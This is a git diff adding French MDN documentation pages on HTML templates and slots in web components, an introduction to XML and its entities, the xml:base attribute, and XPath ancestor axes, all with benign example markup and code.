+      let template = document.getElementById('my-paragraph');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(templateContent.cloneNode(true));
+  }
+})</pre>
+
+<p>Le point important à noter est que l'on ajoute un clone du contenu du template à la racine du DOM, créé à l'aide de la méthode {{domxref("Node.cloneNode()")}}.</p>
+
+<p>Et parce que nous ajoutons son contenu à un Shadow DOM, on peut inclure des informations de mises en forme à l'intérieur du template dans d'un élément {{htmlelement("style")}}, qui est ensuite encapsulé à l'intérieur de l'élément personnalisé. Cette procédure n'aurait pas fonctionné si on avait ajouté le contenu à un DOM standard.</p>
+
+<p>Par exemple:</p>
+
+<pre class="brush: html">&lt;template id="my-paragraph"&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: #666;
+      padding: 5px;
+    }
+  &lt;/style&gt;
+  &lt;p&gt;My paragraph&lt;/p&gt;
+&lt;/template&gt;</pre>
+
+<p>On peut maintenent utiliser le template dans le document HTML:</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;&lt;/my-paragraph&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Les templates sont bien supportés par les navigateurs; l'API Shadow DOM est pris en charge par défaut dans Firefox (version 63 onwards), Chrome, Opera, et Safari. Edge travail également sur une implémentation.</p>
+</div>
+
+<h2 id="Plus_de_flexibilité_avec_les_slots">Plus de flexibilité avec les slots</h2>
+
+<p>Jusque là, nous avons vu une première utilisation du tag template. Cette implémentation n'est pas très fexible; elle ne permet d'afficher que du texte, c'est à dire que son utilité est presque nulle! Il est possible d'insérer du texte dans chaque instance d'élément de façon déclarative grâce à {{htmlelement("slot")}}. Cette fonction est moins bien prise en charge que {{htmlelement("template")}}, disponible sur Chrome 53, Opera 40, Safari 10, Firefox 59, mais pas encore sur Edge.</p>
+
+<p>Les slots sont identifiés par leur attribut <code>name</code>, et permettent de définir des champs dans le template qui peuvent être alimentés avec n'importe quelle structure HTML.</p>
+
+<p>Donc, si on souhaite ajouter un slot dans le précédent exemple sur les templates, on peut modifier l'élément paragraphe de cette façon:</p>
+
+<pre class="brush: html">&lt;p&gt;&lt;slot name="my-text"&gt;My default text&lt;/slot&gt;&lt;/p&gt;</pre>
+
+<p>Si le contenu du slot n'est pas défini quand l'élément est inclu dans la page, ou si les slots ne sont pas supportés par le navigateur, <code>&lt;my-paragraph&gt;</code>  contient simplement le texte statique précisé dans le template.</p>
+
+<p>Pour définir le contenu du slot, on insère une structure HTML dans <code>&lt;my-paragraph&gt;</code> avec un attribut {{htmlattrxref("slot")}} dont la valeur est égale au nom du slot que l'on veut alimenter. Comme précédemment, on peut utiliser n'importe quelle structure HTML, par exemple:</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;span slot="my-text"&gt;Let's have some different text!&lt;/span&gt;
+&lt;/my-paragraph&gt;</pre>
+
+<p>ou</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;ul slot="my-text"&gt;
+    &lt;li&gt;Let's have some different text!&lt;/li&gt;
+    &lt;li&gt;In a list!&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/my-paragraph&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Les éléments qui peuvent être insérés dans un slot sont dits {{domxref("Slotable")}}; quand un élément a été inséré dans un slot, il est dit <em>slotted</em>.</p>
+</div>
+
+<p>Et c'est tout pour ce premier exemple. Si vous souhaitez manipuler les slots, vous pouvez <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">voir la page sur GitHub</a> (voir aussi <a href="https://mdn.github.io/web-components-examples/simple-template/">le résultat</a>).</p>
+
+<h2 id="Un_exemple_plus_complexe">Un exemple plus complexe</h2>
+
+<p>Pour finir, voyons un exemple un peu moins trivial.</p>
+
+<p>The following set of code snippets show how to use {{HTMLElement("slot")}} together with {{HTMLElement("template")}} and some JavaScript to:</p>
+
+<ul>
+ <li>create a <strong><code>&lt;element-details&gt;</code></strong> element with <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a> in its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a></li>
+ <li>design the <strong><code>&lt;element-details&gt;</code></strong> element in such a way that, when used in documents, it is rendered from composing the element’s content together with content from its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>—that is, pieces of the element’s content are used to fill in <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a> in its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a></li>
+</ul>
+
+<p>Note that it is technically possible to use {{HTMLElement("slot")}} element without a {{HTMLElement("template")}} element, e.g., within say a regular {{HTMLElement("div")}} element, and still take advantage of the place-holder features of {{HTMLElement("slot")}} for Shadow DOM content, and doing so may indeed avoid the small trouble of needing to first access the template element's <code>content</code> property (and clone it). However, it is generally more practical to add slots within a {{HTMLElement("template")}} element, since you are unlikely to need to define a pattern based on an already-rendered element.</p>
+
+<p>In addition, even if it is not already rendered, the purpose of the container as a template should be more semantically clear when using the {{HTMLElement("template")}}. In addition, {{HTMLElement("template")}} can have items directly added to it, like {{HTMLElement("td")}}, which would disappear when added to a {{HTMLElement("div")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this complete example at <a href="https://github.com/mdn/web-components-examples/tree/master/element-details">element-details</a> (see it <a href="https://mdn.github.io/web-components-examples/element-details/">running live</a> also).</p>
+</div>
+
+<h3 id="Creating_a_template_with_some_slots">Creating a template with some slots</h3>
+
+<p>First of all, we use the {{HTMLElement("slot")}} element within a {{HTMLElement("template")}} element to create a new "element-details-template" <a href="/en-US/docs/Web/API/DocumentFragment">document fragment</a> containing some <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a>:</p>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+  details {font-family: "Open Sans Light",Helvetica,Arial}
+  .name {font-weight: bold; color: #217ac0; font-size: 120%}
+  h4 { margin: 10px 0 -8px 0; }
+  h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+  h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+  h4 span { color: white }
+  .attributes { margin-left: 22px; font-size: 90% }
+  .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;span&gt;
+        &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+        &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+      &lt;/span&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;&lt;span&gt;Attributes&lt;/span&gt;&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>That {{HTMLElement("template")}} element has several features:</p>
+
+<ul>
+ <li>The {{HTMLElement("template")}} has a {{HTMLElement("style")}} element with a set of CSS styles that are scoped just to the document fragment the  {{HTMLElement("template")}} creates.</li>
+ <li>The {{HTMLElement("template")}} uses {{HTMLElement("slot")}} and its {{htmlattrxref("name", "slot")}} attribute to make three <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a>:
+  <ul>
+   <li><code>&lt;slot name="element-name"&gt;</code></li>
+   <li><code>&lt;slot name="description"&gt;</code></li>
+   <li><code>&lt;slot name="attributes"&gt;</code></li>
+  </ul>
+ </li>
+ <li>The {{HTMLElement("template")}} wraps the <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a> in a {{HTMLElement("details")}} element.</li>
+</ul>
+
+<h3 id="Creating_a_new_&lt;element-details>_element_from_the_&lt;template>">Creating a new &lt;element-details&gt; element from the &lt;template&gt;</h3>
+
+<p>Next, let’s create a new custom element named <strong><code>&lt;element-details&gt;</code></strong> and use {{DOMXref("Element.attachShadow")}} to attach to it, as its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, that document fragment we created with our {{HTMLElement("template")}} element above. This uses exactly the same pattern as we saw in our earlier trivial example.</p>
+
+<pre class="brush: js">customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      var template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+  }
+})
+</pre>
+
+<h3 id="Using_the_&lt;element-details>_custom_element_with_named_slots">Using the &lt;element-details&gt; custom element with named slots</h3>
+
+<p>Now let’s take that <strong><code>&lt;element-details&gt;</code></strong> element and actually use it in our document:</p>
+
+<pre class="brush: html">&lt;element-details&gt;
+  &lt;span slot="element-name"&gt;slot&lt;/span&gt;
+  &lt;span slot="description"&gt;A placeholder inside a web
+    component that users can fill with their own markup,
+    with the effect of composing different DOM trees
+    together.&lt;/span&gt;
+  &lt;dl slot="attributes"&gt;
+    &lt;dt&gt;name&lt;/dt&gt;
+    &lt;dd&gt;The name of the slot.&lt;/dd&gt;
+  &lt;/dl&gt;
+&lt;/element-details&gt;
+
+&lt;element-details&gt;
+  &lt;span slot="element-name"&gt;template&lt;/span&gt;
+  &lt;span slot="description"&gt;A mechanism for holding client-
+    side content that is not to be rendered when a page is
+    loaded but may subsequently be instantiated during
+    runtime using JavaScript.&lt;/span&gt;
+&lt;/element-details&gt;
+</pre>
+
+<p>About that snippet, notice these points:</p>
+
+<ul>
+ <li>The snippet has two instances of <strong><code>&lt;element-details&gt;</code></strong> elements which both use the {{htmlattrxref("slot")}} attribute to reference the <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a> <code>"element-name"</code> and <code>"description"</code> we put in the <code>&lt;element-details&gt;</code> <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> .</li>
+ <li>Only the first of those two <strong><code>&lt;element-details&gt;</code></strong> elements references the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a>. The second <code><strong>&lt;element-details</strong>&gt;</code> element lacks any reference to the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a>.</li>
+ <li>The first <code>&lt;<strong>element-details&gt;</strong></code> element references the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a> using a {{HTMLElement("dl")}} element with {{HTMLElement("dt")}} and {{HTMLElement("dd")}} children.</li>
+</ul>
+
+<h3 id="Adding_a_final_bit_of_style">Adding a final bit of style</h3>
+
+<p>As a finishing touch, we'll add a tiny bit more CSS for the {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, and {{HTMLElement("dd")}} elements in our doc:</p>
+
+<pre class="brush: css">  dl { margin-left: 6px; }
+  dt { font-weight: bold; color: #217ac0; font-size: 110% }
+  dt { font-family: Consolas, "Liberation Mono", Courier }
+  dd { margin-left: 16px }
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body { margin-top: 47px }</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>Finally let’s put all the snippets together and see what the rendered result looks like.</p>
+
+<p>{{ EmbedLiveSample('full_example', '300','400','https://mdn.mozillademos.org/files/14553/element-details.png','') }}</p>
+
+<p>Notice the following points about this rendered result:</p>
+
+<ul>
+ <li>Even though the instances of the <strong><code>&lt;element-details&gt;</code></strong> element in the document do not directly use the {{HTMLElement("details")}} element, they get rendered using {{HTMLElement("details")}} because the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> causes them to get populated with that.</li>
+ <li>Within the rendered {{HTMLElement("details")}} output, the content in the <strong><code>&lt;element-details&gt;</code></strong> elements fills the <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slots</a> from the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>. In other words, the DOM tree from the <strong><code>&lt;element-details&gt;</code></strong> elements get <em>composed</em> together with the content of the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>.</li>
+ <li>For both <strong><code>&lt;element-details&gt;</code></strong> elements, an <strong>Attributes</strong> heading gets automatically added from the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> before the position of the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a>.</li>
+ <li>Because the first <strong><code>&lt;element-details&gt;</code></strong> has a {{HTMLElement("dl")}} element which explicitly references the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a> from its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, the contents of that {{HTMLElement("dl")}} replace the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a> from the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>.</li>
+ <li>Because the second <strong><code>&lt;element-details&gt;</code></strong> doesn’t explicitly reference the <code>"attributes"</code> <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a> from its <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, its content for that <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">named slot</a> gets filled with the default content for it from the <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>.</li>
+</ul>
+
+<div class="hidden">
+<h5 id="full_example">full example</h5>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;slot example&lt;/title&gt;
+    &lt;style&gt;
+
+      dl { margin-left: 6px; }
+      dt { font-weight: bold; color: #217ac0; font-size: 110% }
+      dt { font-family: Consolas, "Liberation Mono", Courier }
+      dd { margin-left: 16px }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;template id="element-details-template"&gt;
+      &lt;style&gt;
+      details {font-family: "Open Sans Light",Helvetica,Arial}
+      .name {font-weight: bold; color: #217ac0; font-size: 120%}
+      h4 { margin: 10px 0 -8px 0; }
+      h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+      h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+      h4 span { color: white }
+      .attributes { margin-left: 22px; font-size: 90% }
+      .attributes p { margin-left: 16px; font-style: italic }
+      &lt;/style&gt;
+      &lt;details&gt;
+        &lt;summary&gt;
+          &lt;span&gt;
+            &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+            &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+          &lt;/span&gt;
+        &lt;/summary&gt;
+        &lt;div class="attributes"&gt;
+          &lt;h4&gt;&lt;span&gt;Attributes&lt;/span&gt;&lt;/h4&gt;
+          &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+        &lt;/div&gt;
+      &lt;/details&gt;
+      &lt;hr&gt;
+    &lt;/template&gt;
+
+    &lt;element-details&gt;
+      &lt;span slot="element-name"&gt;slot&lt;/span&gt;
+      &lt;span slot="description"&gt;A placeholder inside a web
+        component that users can fill with their own markup,
+        with the effect of composing different DOM trees
+        together.&lt;/span&gt;
+      &lt;dl slot="attributes"&gt;
+        &lt;dt&gt;name&lt;/dt&gt;
+        &lt;dd&gt;The name of the slot.&lt;/dd&gt;
+      &lt;/dl&gt;
+    &lt;/element-details&gt;
+
+    &lt;element-details&gt;
+      &lt;span slot="element-name"&gt;template&lt;/span&gt;
+      &lt;span slot="description"&gt;A mechanism for holding client-
+        side content that is not to be rendered when a page is
+        loaded but may subsequently be instantiated during
+        runtime using JavaScript.&lt;/span&gt;
+    &lt;/element-details&gt;
+
+    &lt;script&gt;
+    customElements.define('element-details',
+      class extends HTMLElement {
+        constructor() {
+          super();
+          const template = document
+            .getElementById('element-details-template')
+            .content;
+          const shadowRoot = this.attachShadow({mode: 'open'})
+            .appendChild(template.cloneNode(true));
+        }
+      })
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
diff --git a/files/fr/web/xml/index.html b/files/fr/web/xml/index.html
new file mode 100644
index 0000000000..9f557fdf3e
--- /dev/null
+++ b/files/fr/web/xml/index.html
@@ -0,0 +1,16 @@
+---
+title: 'XML: Extensible Markup Language'
+slug: Web/XML
+tags:
+  - Draft
+  - Landing
+  - TopicStub
+  - Web
+  - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/fr/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary">Le langage de balisage extensible (nommé <strong>Extensible Markup Language</strong>) est une stricte sérialisation du <a href="/fr/docs/Web/API/Document_Object_Model">DOM</a>.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/fr/web/xml/introduction_à_xml/index.html b/files/fr/web/xml/introduction_à_xml/index.html
new file mode 100644
index 0000000000..4f502262eb
--- /dev/null
+++ b/files/fr/web/xml/introduction_à_xml/index.html
@@ -0,0 +1,116 @@
+---
+title: Introduction à XML
+slug: Web/XML/Introduction_à_XML
+tags:
+  - XML
+translation_of: Web/XML/XML_introduction
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="D.C3.A9finition"> Définition </h3>
+<p>XML, pour <i>e<b>X</b>tensible <b>M</b>arkup <b>L</b>anguage</i> (langage de balisage extensible), est un langage de balisage généraliste <a class="external" href="http://www.w3.org/">recommandé par le W3C</a> comme l'est HTML. XML est un sous-ensemble du langage SGML. Cela signifie que contrairement aux autres langages de balisages, XML n'est pas prédéfini, vous devez définir vos propres balises. Le but principal de ce langage est le partage de données entre différents systèmes, tel qu'Internet.
+</p><p>De nombreux autres langages sont basés sur XML, comme par exemple <a href="fr/XHTML">XHTML</a>, <a href="fr/MathML">MathML</a>, <a href="fr/SVG">SVG</a>, <a href="fr/XUL">XUL</a>, <a href="fr/XBL">XBL</a>, <a href="fr/RSS">RSS</a> et <a href="fr/RDF">RDF</a>. Vous pouvez créer votre propre langage basé sur XML.
+</p>
+<h3 id="Du_XML_.C2.AB_correct_.C2.BB_.28valide_et_.C2.AB_bien_form.C3.A9_.C2.BB.29"> Du XML « correct » (valide et « bien formé ») </h3>
+<p>Pour être correct, un document XML doit être « bien formé », se conformer à toutes les règles de syntaxe du XML, et « valide », se conformer aux règles d'un langage spécifique.
+</p><p>La plupart des navigateurs, dont Mozilla, offrent un outil de validation qui informera souvent lors de la lecture ou de l'affichage de documents mal formés.
+</p>
+<h4 id="Exemple"> Exemple </h4>
+<p>Voici un exemple de document mal formé : un des éléments possédant une balise d'ouverture, <code>&lt;warning&gt;</code>, n'a pas de balise de fermeture et ce n'est pas un élément vide (ou auto-fermant comme les balises &lt;br /&gt; ou &lt;img /&gt; en XHTML).
+</p>
+<pre class="eval">&lt;code&gt;
+  &lt;message&gt;
+    &lt;warning&gt;
+      Hello World
+  &lt;/message&gt;
+&lt;/code&gt;
+</pre>
+<p>L'exemple qui suit est correct et « bien formé » :
+</p>
+<pre class="eval">&lt;code&gt;
+  &lt;message&gt;
+    &lt;warning&gt;
+      Hello World
+    &lt;/warning&gt;
+  &lt;/message&gt;
+&lt;/code&gt;
+</pre>
+<p>Pour être valide, un document doit se conformer à des règles sémantiques qui sont habituellement définies dans un <i>XML Schema</i> ou une <a href="fr/DTD">Document Type Definition</a>. Un document qui contient une balise non définie n'est pas valide. Dans notre exemple ci-dessus, si nous ne définissons pas la balise <code>&lt;warning&gt;</code> alors notre document ne sera pas valide.
+</p>
+<h3 id="Entit.C3.A9s"> Entités </h3>
+<p>Comme le <a href="fr/HTML">HTML</a>, le <b>XML</b> fournit des méthodes (appelées entités) pour se référer à certains caractères spéciaux réservés (tel que le signe « plus grand que » utilisé pour les balises). Il faut connaître 5 de ces caractères spéciaux :
+</p>
+<table class="standard-table"> <tbody><tr>
+<td class="header">Codage
+</td><td class="header">Entité
+</td><td class="header">Description
+</td></tr>
+<tr>
+<td><code>&amp;lt;</code>
+</td><td><code>&lt;</code>
+</td><td>Un signe « plus petit que ».
+</td></tr>
+<tr>
+<td><code>&amp;gt;</code>
+</td><td><code>&gt;</code>
+</td><td>Un signe « plus grand que ».
+</td></tr>
+<tr>
+<td><code>&amp;amp;</code>
+</td><td><code>&amp;</code>
+</td><td>Esperluette (signe ET).
+</td></tr>
+<tr>
+<td><code>&amp;quot;</code>
+</td><td><code>"</code>
+</td><td>Un guillemet anglais.
+</td></tr>
+<tr>
+<td><code>&amp;apos;</code>
+</td><td><code>'</code>
+</td><td>Une apostrophe simple.
+</td></tr>
+</tbody></table>
+<p>Même s'il n'y a que 5 entités déclarées, il est possible d'en ajouter d'autres grâce à la <a href="fr/DTD">Document Type Definition</a>, comme décrit ci-dessous :
+</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE body [
+    &lt;!ENTITY warning "Avertissement : Quelque chose ne fonctionne pas correctement…
+                      Veuillez rafraîchir et réessayer."&gt;
+]&gt;
+&lt;body&gt;
+  &lt;message&gt; &amp;warning; &lt;/message&gt;
+&lt;/body&gt;
+</pre>
+<p>Vous pouvez également utiliser les références numériques de caractères pour employer ces caractères spéciaux telles que &amp;#xA9; pour un signe ©. Vous trouverez plus d'informations à propos des références numériques de caractères spéciaux sur <a class="external" href="http://www.cookwood.com/entities/">Numeric character reference (en)</a>.
+</p>
+<h3 id="Affichage_de_XML"> Affichage de XML </h3>
+<p>Il y a deux manières différentes d'utiliser le XML pour la présentation, et cela peut aller d'une transformation en HTML à la génération d'un document PDF ou d'images.
+</p><p>Une manière d'appliquer un style sur une page XML est d'utiliser une feuille de style <a href="fr/CSS">CSS</a> avec la déclaration <code>xml-stylesheet</code>.
+</p>
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+<p>L'autre technique utilise la puissance de <a href="fr/XSLT">XSLT</a>, qui est capable de transformer les balises XML en toute autre chose, les possibilités sont alors presque infinies.
+</p>
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+<h3 id="Recommandations"> Recommandations </h3>
+<p>Cet article n'est qu'une introduction rapide à XML ; pour plus de détails, parcourez le Web à la recherche d'articles allant plus en profondeur.
+</p><p>L'apprentissage du langage de balisage HTML vous aidera à mieux comprendre XML. Vous trouverez également plus d'informations en explorant le Mozilla Developer Center.
+</p><p>Voici une liste d'articles de référence sur le Web :
+</p>
+<ul><li><a class="external" href="http://www.w3schools.com/dtd/">W3Schools: DTD Tutorial (en)</a>
+</li><li><a class="external" href="http://www.w3schools.com/xml/default.asp">W3Schools: XML Tutorial (en)</a>
+</li><li><a class="external" href="http://www.xml.com/">XML.com (en)</a>
+</li><li><a class="external" href="http://www.w3.org/XML/">Extensible Markup Language (XML) @ W3.org (en)</a>
+</li><li><a class="external" href="http://www.alistapart.com/d/usingxml/xml_uses_a.html">XML Example @ A List Apart (en)</a>
+</li><li><a class="external" href="http://www.alistapart.com/articles/usingxml/">Using XML @ A List Apart (en)</a>
+</li></ul>
+<p>L'article <a class="external" href="http://www.alistapart.com/articles/usingxml/">Using XML (en)</a> est une ressource particulièrement intéressante sur la transformation et la création de votre propre langage XML.
+</p>
+<div class="originaldocinfo">
+<h3 id="Informations_sur_le_document"> Informations sur le document </h3>
+<ul><li> Auteur(s) : <a class="external" href="http://justinshreve.com">Justin G. Shreve</a>
+</li><li> Dernière mise à jour : le 4 août 2007
+</li></ul>
+</div>
+{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "ja": "ja/XML_Introduction", "pl": "pl/Wprowadzenie_do_XML-a", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }}
diff --git a/files/fr/web/xml/xml_colon_base/index.html b/files/fr/web/xml/xml_colon_base/index.html
new file mode 100644
index 0000000000..fa11c1d3d4
--- /dev/null
+++ b/files/fr/web/xml/xml_colon_base/index.html
@@ -0,0 +1,119 @@
+---
+title: 'xml:base'
+slug: 'Web/XML/xml:base'
+tags:
+  - Introduction
+  - SVG
+  - URL
+  - XML
+  - base
+translation_of: 'Web/XML/xml:base'
+---
+<p>xml:base est comme  <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/base">L'élément pour l'URL de base du document en HTML</a> mais peut spécifier l'URI de base par élément ainsi que pour le document entier.</p>
+
+<p>L'URL de base d'un élément peut être interrogé à partir d'un script en utilisant <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/baseURI">Node.baseURI</a>.</p>
+
+<blockquote>
+<p><a id="granularity" name="granularity">L'URI de base d'un élément est :</a></p>
+
+<ol>
+ <li>
+  <p><a id="granularity" name="granularity">l'URI de base spécifiée par un attribut <code>xml:base</code> sur l'élément, s'il en existe un, sinon</a></p>
+ </li>
+ <li>
+  <p><a id="granularity" name="granularity">l'URI de base de l'élément du parent contenu dans l'entité du document ou une entité externe, s'il en existe, sinon</a></p>
+ </li>
+ <li>
+  <p><a id="granularity" name="granularity">l'URI de base de l'entité du document ou d'une entité externe contenant l'élément.</a></p>
+ </li>
+</ol>
+</blockquote>
+
+<p>Malheureusement, la prise en charge du clignotement a été supprimée (Chrome et Opera) en 2015.</p>
+
+<ol>
+ <li>https://bugs.chromium.org/p/chromium/issues/detail?id=341854</li>
+ <li>https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/ZvArHAXyAHM</li>
+</ol>
+
+<h2 id="Cas_d'utilisation">Cas d'utilisation</h2>
+
+<p>Si vous avez un SVG en ligne, vous utilisez des icônes qui doivent fonctionner dans un document avec un <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/base">HTML BaseElement</a> , vous pouvez réinitialiser l'URI sur votre "sprite" d'icône en réglant le xml:base.</p>
+
+<p> </p>
+
+<pre class="brush: html"><code>&lt;html&gt;
+  &lt;head&gt;
+  &lt;base href="https://mydomain.com"&gt;
+  &lt;style&gt;
+  .link { stroke: #999; stroke-opacity: .6; }
+  marker#arrow { fill: black; }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;svg width="100%" height="100%" xml:base=""&gt;
+    &lt;defs&gt;
+      &lt;marker id="arrow" viewBox="0 -5 10 10" refX="0" refY="0" markerWidth="20" markerHeight="20" orient="auto"&gt;
+        &lt;path d="M0,-5L10,0L0,5"&gt;&lt;/path&gt;
+      &lt;/marker&gt;
+    &lt;/defs&gt;
+    &lt;line x1="100" y1="100" x2="333" y2="333" marker-start="url(#arrow)" class="link"&gt;&lt;/line&gt;
+  &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<p> </p>
+
+<p>Imaginez un SVG avec des références de polices de caractères. Par exemple :</p>
+
+<pre class="brush: xml">&lt;svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629"
+  width="909" height="1286" viewBox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+&lt;defs&gt;
+&lt;style type="text/css"&gt;&lt;![CDATA[
+
+.s9_999{
+font-size: 9.17px;
+font-family: ZapfDingbats_ghr;
+fill: #161615;
+}
+]]&gt;&lt;/style&gt;
+
+  &lt;text
+    x="647"
+    y="412"
+    dx="0"
+    class="s9_999"
+  &gt;r&lt;/text&gt;
+
+&lt;style type="text/css" &gt;&lt;![CDATA[
+
+@font-face {
+    font-family: ZapfDingbats_ghr;
+    src: url("fonts/ZapfDingbats_ghr.woff") format("woff");
+}
+
+]]&gt;&lt;/style&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>La définition du xml:base sur l'élément SVG signifie que vous pouvez intégrer le SVG et ainsi contourner le problème CORS sans modifier l'URI de base pour l'ensemble de votre document..</p>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">Les solutions de contournement</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Archive/Add-ons/Code_snippets/XML/base_function">prise en charge de xml:base dans les anciens navigateurs</a></li>
+ <li><a href="https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2">https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li>{{spec("https://www.w3.org/TR/xmlbase/", "XML Base (Second Edition)","REC")}}</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/fr/web/xpath/axes/ancestor-or-self/index.html b/files/fr/web/xpath/axes/ancestor-or-self/index.html
new file mode 100644
index 0000000000..16f10946c2
--- /dev/null
+++ b/files/fr/web/xpath/axes/ancestor-or-self/index.html
@@ -0,0 +1,9 @@
+---
+title: ancestor-or-self
+slug: Web/XPath/Axes/ancestor-or-self
+translation_of: Web/XPath/Axes/ancestor-or-self
+---
+<p>
+</p><p>L'axe <code>ancestor-or-self</code> indique le nœud de contexte courant ainsi que tous ses ascendants, y compris le nœud racine.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Axes/ancestor-or-self", "es": "es/XPath/Ejes/ancestor-or-self", "pl": "pl/XPath/Osie/ancestor-or-self" } ) }}
diff --git a/files/fr/web/xpath/axes/ancestor/index.html b/files/fr/web/xpath/axes/ancestor/index.html
new file mode 100644
index 0000000000..15df1d6c8c
--- /dev/null
+++ b/files/fr/web/xpath/axes/ancestor/index.html
@@ -0,0 +1,9 @@
+---
+title: ancestor
+slug: Web/XPath/Axes/ancestor
+translation_of: Web/XPath/Axes/ancestor
+---
+<p>
+</p><p>L'axe <code>ancestor</code> indique tous les ascendants du nœud de contexte, du nœud parent jusqu'au nœud racine.
+</p><p><span class="comment">Interwiki Languages Links</span>
